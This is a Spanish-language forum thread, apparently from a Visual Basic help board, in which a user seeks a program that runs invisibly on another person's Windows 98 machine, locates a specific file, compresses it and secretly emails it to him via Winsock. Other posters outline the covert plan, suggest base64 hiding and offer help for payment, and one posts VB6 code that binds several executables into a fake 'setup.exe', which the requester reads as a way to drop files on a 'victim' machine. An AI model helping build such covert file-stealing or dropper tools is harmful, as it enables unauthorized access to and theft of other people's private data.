Algo creo que dificil :(

[demo666nio]

Si lo lei sorcerer, con eso empece gracias igual... ahora voy a ver como hago para comprimir el archivo q quiero y enviarmelo en forma oculta adjuntado.. ja, cuando se me complique les aviso.

[.pUnÏsHEr.]

Es algo muy complejo lo primero que se tiene que hacer es crear un codigo que nos busque determinado archivo, si el archivo es encontrado que envie este "archivo por e mail" es algo complejo pero puedo hacerlo claro siempre acambio de algo ¿Que ofreces? 

[Slasher-K]

En el DOS no existe un comando para comprimir, al menos que yo sepa. Existía en win9x un programa (no comando) que era extract que extraía archivos de un contenedor (CAB), pero en el XP ya no existe creo.

Saludos.

[.pUnÏsHEr.]

Lo que planearia seria lo siguiente:
Que el programa se ejecute pero en modo invisible (el programa que crearemos) despues que busque determinado archivo claro para esto debemos saber en donde se encuentra el archivo, Que haga una carpeta nueva y copie el archivo y lo mande a esta carpeta, seguido que mande la copia del archivo via e-mail pero creo que esto ultimo no pasaria desapercivido (claro programarlo para que lo mande a cierto correo) el unico detalle seria hacer que mande el archivo sin ser descubierto y bueno creo que eso seria todo como lo dije es muy complejo pero de que se puede hacer se puede 

[demo666nio]

.pUnÏsHEr. jaja te ofreceria a mi hermana pero no te conozco! Hablando de enserio... yo se la carpeta donde esta ese archivo y se el nombre.(un problemita menos! tambien se como hacer para q se ejecute en esa makina (otro problema menos). Ahora te cuento algo, yo estuve mirando un codigo q pusieron en este foro para enviar mail a partir del comando winsock y lo envie (digamos "oculto") ya que hice un botoncito q se apreto y ZAS me llego el mail a mi cuenta sin que alla prueba alguna! ahora tenog el problema de q no se como carajo adjuntarle el archivo y enviarlo.. me temo q con el winsock no voy a poder..(kizas si.. soy novato con el control este)... Habiendo logrado q se envie un adjunto en esta forma ya tendria una gran paso hecho! Ahora me keda zipear ese archivo porque es medio pesadito...
Como dato se que en la makina q se va a ejecutar corre bajo win98, y no tiene firewall y tiene el nod.. (yo tamiben pero no me jodio enviar mail con winsock)...

[..::[ thekingkid ]::..]

tu quieres que se adjunte pero que sea como oculto algo asi como que este en una imagen o algo por el estilo
o quieres que no aparezca adjunto ????
tal vez lo puedas poner en base 64 no recuerdo bien  o podras adjuntar el archivo pasalo a binario o 64  y luego lo adjuntas como un txt funciona si no tiene parchado el internet explorer si es lo que te entendi

[demo666nio]

Te explico: yo quiero que me lo envie adjuntado en el mail hecho con el codigo que dan en esta pagina (con el winsock). O sea la idea es que nadie se entere que se esta enviando un mail... y obviamente que en ese mail esta el archivo que yo quiero! Se entiende=?

[.pUnÏsHEr.]

Haber te dare una pequeña ayudadita ya que me ha quedado la espina y anteriormente realice un programa que te permitia adjuntar archivos es algo muy simple no se si soporte todos los tamaños yo solo ponia trabajos de worpad pero vb no lo posee como una funcion sino que hay que abrir el otro archivo cargarlo a una variable y luego cargarlo dentro del .exe de la misma aplicacion luego al final se almacena una tabla con los limites del archivo luego se cortan usando estos datos con mid y luego guardas cada parte como archivo independiente haber me puse a trabajar en mi ordenador para sacarlo haber pasemos pues a lo que he generado:



Project: AddFiles.VB6
Option Explicit

Private Sub Form_Load()
Dim sFilesAdded As String
Dim outputFile As String

outputFile = App.Path & "\setup.exe"
Open outputFile For Binary As #1

Call appendFile("client.exe")
Call appendFile("admutil.dll")
Call appendFile("sample.dat")

Close #1
End Sub

Private Sub appendFile(filename As String)
Dim fileBuf As String
Dim filenameLen As Integer
Dim filesize As Long
Dim filePosition As Long
Dim footerIdent As String
Dim footerPosition As Long

footerIdent = "PUNI-FOOTER-IDENT"
filenameLen = Len(filename)
filePosition = LOF(1) + 1

'read in file to append, slurp into a String
Open App.Path & "\" & filename For Binary As #2
filesize = LOF(2)
fileBuf = String(filesize, Chr(0))
Get #2, 1, fileBuf
Close #2

' append the file
Put #1, filePosition, fileBuf

' write the footer record
footerPosition = filePosition + filesize
Put #1, , filenameLen
Put #1, , filename
Put #1, , filesize
Put #1, , filePosition
Put #1, , footerIdent
Put #1, , footerPosition
End Sub

[Manibal_man]

El "comando de dos" para comprimir... es verdad no existe ninguno... salvo el extract de win como dijo slasher-k para los DL_ o EX_, etc...  Pero creo que reydelmundo se referia al PKZIP y al PKUNZIP que en realidad son 2 programas completamente desligados de MS, que de hecho si no me equivoco son los creadores del .zip, o bien los que hicieron popular el formato de compresion.

igualmente es mucho mas correcto y prolijo usar el .dll para mi.

Saludos

[demo666nio]

a ver... punisher.. por lo q entendi al ejecutar y leer el programita rapidamente (xq recien llego de trabajar y tengo ya los ojos cruzados) el programa éste seria para.. esconder mis archivos en un exe y luego, cuando se ejecuta, largarlos en la makina victima?..es asi?
(loco, de paso te agradezco x la mano q me estas dando y al resto tambien )